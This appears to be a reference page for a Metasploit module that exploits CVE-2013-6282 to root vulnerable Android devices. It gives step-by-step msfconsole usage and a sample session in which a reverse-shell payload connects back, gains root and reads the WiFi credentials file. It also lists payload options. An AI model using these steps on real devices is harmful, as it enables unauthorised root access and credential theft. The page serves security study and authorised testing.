Android get_user/put_user Exploit - Metasploit
This page contains detailed information about how to use the exploit/android/local/put_user_vroot metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Android get_user/put_user Exploit
Module: exploit/android/local/put_user_vroot
Source code: modules/exploits/android/local/put_user_vroot.rb
Disclosure date: 2013-09-06
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): Android, Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-6282
This module exploits a missing check in the get_user and put_user API functions in the linux kernel before 3.5.5. The missing checks on these functions allow an unprivileged user to read and write kernel memory. This exploit first reads the kernel memory to identify the commit_creds and ptmx_fops address, then uses the write primitive to execute shellcode as uid 0. The exploit was first discovered in the wild in the vroot rooting application.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/android/local/put_user_vroot
msf exploit(put_user_vroot) > show targets
... a list of targets ...
msf exploit(put_user_vroot) > set TARGET target-id
msf exploit(put_user_vroot) > show options
... show and set options ...
msf exploit(put_user_vroot) > set SESSION session-id
msf exploit(put_user_vroot) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Introduction
This modules exploits a vulnerability in the linux kernel on an Android device, which allows an untrusted app to elevate to root priviledges. On Android an application normally runs as an individual linux user, sandboxing it from the Android system and other applications. After running the exploit the resulting session has full priviledge on the device, and can access the entire filesystem and the private data files of every other app, including system apps.
The exploit uses a read kernel memory primitive to first figure out the correct offsets for the device, before using the write primitive to overwrite the ptmx.fsync handler to a function that will elevate the current process to root. Finally /dev/ptmx is opened, and fsync called to trigger the exploit.
This exploit should work on any vulnerable device and is not device specific. In the example below a Samsung Galaxy S4 running Android version 4.3 was targetted.
Usage
You'll first need to obtain a session on the target device. Once the module is loaded, one simply needs to set the SESSION
option and configure the handler. The exploit can take a while to run on the device so it is configured with WfsDelay
option to wait 120 seconds for a session. If you have not had a session after this time you can assume the device is not vulnerable.
An example session follows:
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter dalvik/android u0_a132 @ localhost 192.168.1.52:4444 -> 192.168.1.54:33549 (192.168.1.54)
msf exploit(handler) > use exploit/android/local/put_user_vroot
msf exploit(put_user_vroot) > set LHOST 192.168.1.52
LHOST => 192.168.1.52
msf exploit(put_user_vroot) > set LPORT 5555
LPORT => 5555
msf exploit(put_user_vroot) > set SESSION 1
SESSION => 1
msf exploit(put_user_vroot) > run
[*] Started reverse TCP handler on 192.168.1.52:5555
[*] Loading exploit library /data/data/com.metasploit.stage/files/bwycy
[*] Loaded library /data/data/com.metasploit.stage/files/bwycy, deleting
[*] Waiting 120 seconds for payload
[*] Sending stage (388156 bytes) to 192.168.1.54
[*] Meterpreter session 2 opened (192.168.1.52:5555 -> 192.168.1.54:59580) at 2016-12-24 00:19:12 +0800
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > cat /data/misc/wifi/wpa_supplicant.conf
ctrl_interface=wlan0
...
Go back to menu.
Msfconsole Usage
Here is how the android/local/put_user_vroot exploit module looks in the msfconsole:
msf6 > use exploit/android/local/put_user_vroot
[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(android/local/put_user_vroot) > show info
Name: Android get_user/put_user Exploit
Module: exploit/android/local/put_user_vroot
Platform: Android, Linux
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-09-06
Provided by:
fi01
cubeundcube
timwr
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Space: 2048
Description:
This module exploits a missing check in the get_user and put_user
API functions in the linux kernel before 3.5.5. The missing checks
on these functions allow an unprivileged user to read and write
kernel memory. This exploit first reads the kernel memory to
identify the commit_creds and ptmx_fops address, then uses the write
primitive to execute shellcode as uid 0. The exploit was first
discovered in the wild in the vroot rooting application.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-6282
http://forum.xda-developers.com/showthread.php?t=2434453
https://github.com/fi01/libget_user_exploit
http://forum.xda-developers.com/showthread.php?t=2565758
Module Options
This is a complete list of options available in the android/local/put_user_vroot exploit:
msf6 exploit(android/local/put_user_vroot) > show options
Module options (exploit/android/local/put_user_vroot):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the android/local/put_user_vroot exploit:
msf6 exploit(android/local/put_user_vroot) > show advanced
Module advanced options (exploit/android/local/put_user_vroot):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 120 no Additional delay in seconds to wait for a session
Payload advanced options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the android/local/put_user_vroot module can exploit:
msf6 exploit(android/local/put_user_vroot) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the android/local/put_user_vroot exploit:
msf6 exploit(android/local/put_user_vroot) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
17 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
18 payload/linux/x86/read_file normal No Linux Read File
19 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
20 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
21 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
22 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
25 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
26 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
27 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
29 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
30 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
31 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
32 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the android/local/put_user_vroot exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(android/local/put_user_vroot) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8279 Merged Pull Request: move mettle payloads to meterpreter, add reverse_http/s stageless
- #7454 Merged Pull Request: add CVE-2013-6282, put_user/get_user exploit for Android
References
- CVE-2013-6282
- http://forum.xda-developers.com/showthread.php?t=2434453
- https://github.com/fi01/libget_user_exploit
- http://forum.xda-developers.com/showthread.php?t=2565758
See Also
Check also the following modules related to this module:
- exploit/android/local/binder_uaf
- exploit/android/local/futex_requeue
- exploit/android/local/janus
- exploit/android/local/su_exec
- exploit/windows/browser/safari_xslt_output
- exploit/windows/browser/samsung_security_manager_put
- exploit/windows/ftp/globalscapeftp_input
- exploit/windows/ftp/pcman_put
- exploit/windows/ssh/putty_msg_debug
- auxiliary/admin/dcerpc/samr_computer
- auxiliary/scanner/http/http_put
- auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
- post/windows/gather/enum_ad_computers
- post/windows/gather/enum_computers
- post/windows/gather/enum_putty_saved_sessions
- post/windows/recon/computer_browser_discovery
Related Nessus plugins:
- EulerOS Virtualization for ARM 64 3.0.2.0 : kernel (EulerOS-SA-2019-1635)
- EulerOS 2.0 SP8 : kernel (EulerOS-SA-2020-1186)
Authors
- fi01
- cubeundcube
- timwr
Version
This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.